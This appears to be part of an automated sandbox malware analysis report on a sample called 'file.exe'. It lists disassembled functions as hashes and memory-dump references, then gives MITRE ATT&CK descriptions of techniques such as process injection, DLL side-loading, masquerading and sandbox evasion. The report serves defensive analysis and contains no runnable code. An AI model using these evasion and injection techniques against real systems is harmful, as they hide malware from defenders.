Function 0600A1E2 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 747d5912b6c4fdc38f838466491f26b55c66990e6e21f05b0cb75bb3e2c19210
Instruction ID: 6764110eb771965d052b52f9d35a56efa1c64b86e8ca6ec9c5240bac8d345c88
Opcode Fuzzy Hash: 747d5912b6c4fdc38f838466491f26b55c66990e6e21f05b0cb75bb3e2c19210
Instruction Fuzzy Hash: 1731B2F7F516264BF3504879CD453A265438BE5320F2F82758F5CA7BC5D8BD9D0A2284

Function 0603604E Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86dd57ecab03a83585c15a56bcdfe3338b9f74e3fd530e1e4b00a86c55e6f676
Instruction ID: 9a7955af079eeb02285a7df6c95fa2c8c550aee5c1d121528c27c8a5e6218294
Opcode Fuzzy Hash: 86dd57ecab03a83585c15a56bcdfe3338b9f74e3fd530e1e4b00a86c55e6f676
Instruction Fuzzy Hash: C43139F7F115144BF7588839CD693A66583A7D4320F3F82398A9E977C5DC7E994A0280

Function 06014931 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd191cb6d511489c759a7560a506835c3f5fca9eadfe1406470c38aab751d17
Instruction ID: b021feb5f83954d13f65a2b6d4ca5fac16a2cf1b5672babece0a9b1b5200d803
Opcode Fuzzy Hash: 8fd191cb6d511489c759a7560a506835c3f5fca9eadfe1406470c38aab751d17
Instruction Fuzzy Hash: 613127B3F515254BF3944479CD983A21483A7D5324F2FC2758A6CABBCAEC7D4C0A12C0

Function 0602D2B5 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c362fe34c50f1764d79a36c89f51a0b9e673b9c8d71f3e37190697906375b2
Instruction ID: cc0be74d3fa902ba39cacb567c126ed532bb37c0c678e60da7254229cb9efb45
Opcode Fuzzy Hash: 36c362fe34c50f1764d79a36c89f51a0b9e673b9c8d71f3e37190697906375b2
Instruction Fuzzy Hash: 07319DB3F506254BF35848A8DDA93A2B6929B95310F2F42398F1D7B7C2C8BE4C4957C4

Function 06049085 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c262e107b3dfbfc717121ea4f255c043be62023fdab4b830fc0f5a9c006d0b
Instruction ID: a337b1eaeb5634b6611e80f3041d4aec52621fcca9b7c4ce5b4410f854c36c45
Opcode Fuzzy Hash: 79c262e107b3dfbfc717121ea4f255c043be62023fdab4b830fc0f5a9c006d0b
Instruction Fuzzy Hash: 51315EF7F1253447F3884829DC683A6218397E5321F2F427A8B5EA73C1ECBE9C461284

Function 0603C676 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82251458c1e5f5ed773612e7c5d2d9df168d98a0e95dbe79bcd0798b2021ea6a
Instruction ID: 198706f4272f13d703dbe3a53e6fba18a540425b8d359c174c8af7b289642eb3
Opcode Fuzzy Hash: 82251458c1e5f5ed773612e7c5d2d9df168d98a0e95dbe79bcd0798b2021ea6a
Instruction Fuzzy Hash: 86313AE7F514204BF3988879CD69362298397D0318F2B81798F5D7B7C9D87D1C0A52C8

Function 06028A54 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac69892e1d802bd4b2de0ef35aea05e700d1550ac05b4c46b507630cee05006
Instruction ID: 33b01c6505cb03eaf429101131723239e0eadaca1810ece5f22c296bbfaaccbf
Opcode Fuzzy Hash: 7ac69892e1d802bd4b2de0ef35aea05e700d1550ac05b4c46b507630cee05006
Instruction Fuzzy Hash: 90214FB3F512264BF39448B9DD943A325439BE1320F2F82398F5C67AC9DCBD590B2684

Function 0600FB13 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572a9b63c5d2d7de401f4b22fe58c3b66dff531da45989ebf7fa2fc2c6b394b0
Instruction ID: 2309b0a7942e8a7197db5ca23485e1d5e8aef75182f8867f3c37258710f33bc6
Opcode Fuzzy Hash: 572a9b63c5d2d7de401f4b22fe58c3b66dff531da45989ebf7fa2fc2c6b394b0
Instruction Fuzzy Hash: B02159F7F5162047F3584879DD98362658397D5320F2F82798E1C7BBC9E8BD1C0A1284

Function 06047763 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be5d1f3881c99d25897ac4e5de6ba223698b0829a2bca6bbc23efacbd6d3055e
Instruction ID: 1dba6c0af887fe3746fc9968dd2394e764901ba89a9a026fa2e5297be49d3c5f
Opcode Fuzzy Hash: be5d1f3881c99d25897ac4e5de6ba223698b0829a2bca6bbc23efacbd6d3055e
Instruction Fuzzy Hash: 47218EB3F2092647F3544879CD583A29553DBD5320F2F83398E6CABBC6D8BE9D451284

Function 06037283 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d35d249a3454b393ca5a1fa8ef518d369e93fdf88a0d1b190a74ada81686e0
Instruction ID: ecbc8f36114791efc896337e7dfbab4aca692b002dedb74cb5e45d022985d9ac
Opcode Fuzzy Hash: 58d35d249a3454b393ca5a1fa8ef518d369e93fdf88a0d1b190a74ada81686e0
Instruction Fuzzy Hash: 11216DF7F506210BF3944839DD983622583ABE9305F2F8279CA8D9BBC5D87D4C0A5784

Function 06008BF4 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 487e9ebeb0c98f1ba1a016541c6c6374bb24900c5ba0d674d009231e5c078017
Instruction ID: e6082dbca7149049116b2bdaf05eda30228fe1ccf22ea74c4d724486fb1ee1e6
Opcode Fuzzy Hash: 487e9ebeb0c98f1ba1a016541c6c6374bb24900c5ba0d674d009231e5c078017
Instruction Fuzzy Hash: 2D214AB3F5152507F3184829DCA83A621839BD5321F2F82798E5E6BBC6DC7E9C465284

Function 06054505 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377f357b115e0538030f21c39641bf5cc8b18205fb944ad2515aef1914718234
Instruction ID: e97b506b8d671f6c3c817e82d49f2f41fad8839654c81de84332a7e5bfe01f09
Opcode Fuzzy Hash: 377f357b115e0538030f21c39641bf5cc8b18205fb944ad2515aef1914718234
Instruction Fuzzy Hash: 0A214AF7F506254BF7580838CD693A6258297E5320F2F82398F6E6B3C5DC7E5C061284

Function 0600AC52 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0029dea784ff51e5a013c34c8f2a0d6ad192e788053ad5e7b8db072abc586c6
Instruction ID: d06e982738c5ddb933cb7da8ee40fd3470ef715519e53f869ef66a88271a6344
Opcode Fuzzy Hash: b0029dea784ff51e5a013c34c8f2a0d6ad192e788053ad5e7b8db072abc586c6
Instruction Fuzzy Hash: B42181F7E119314BF3648869CD443A1618387E5325F3F82798E6CBB7C1E8BE5C465284

Function 0603963A Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b1a4c07f6620c41154b56a8c7af5c4ce0fe87839e40c3fdeb8fb67f515caf28
Instruction ID: bb31ffd5af4b50020229ffb106ed6ffe43c40e83e6479b1cad7645a5d2752cad
Opcode Fuzzy Hash: 0b1a4c07f6620c41154b56a8c7af5c4ce0fe87839e40c3fdeb8fb67f515caf28
Instruction Fuzzy Hash: 7C2129B7F115204BF394887ADC143A2618397D5324F2FC2398E6CAB7D9DC7E5C0A1284

Function 0603DD7D Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3ac1e217bd61e846d3e102c65010d00922db084a44c99e6ad23d00a9df1c9cf
Instruction ID: 4c54cd96350e2a3530bc47d96c3c7518a91d0e8dc460c008e26db056e8122913
Opcode Fuzzy Hash: a3ac1e217bd61e846d3e102c65010d00922db084a44c99e6ad23d00a9df1c9cf
Instruction Fuzzy Hash: F6219DB7F011194BF3844D39CC693A662839BE5310F2B82798B1E4BBC9DD7D994A5740

Function 060190AC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d0f03721fab7f7b5abdf248d081e9e70b32fcb7b62e3d7bca7401dfd28a9a93
Instruction ID: 0513432fa2497883b951754b5162e856710c0434f6970417edcb6cde6926b87b
Opcode Fuzzy Hash: 5d0f03721fab7f7b5abdf248d081e9e70b32fcb7b62e3d7bca7401dfd28a9a93
Instruction Fuzzy Hash: C4115EB7F6162147F3544839CCA93A2A242DB95325F2F42798E2DA73C5DCBD5D068188

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
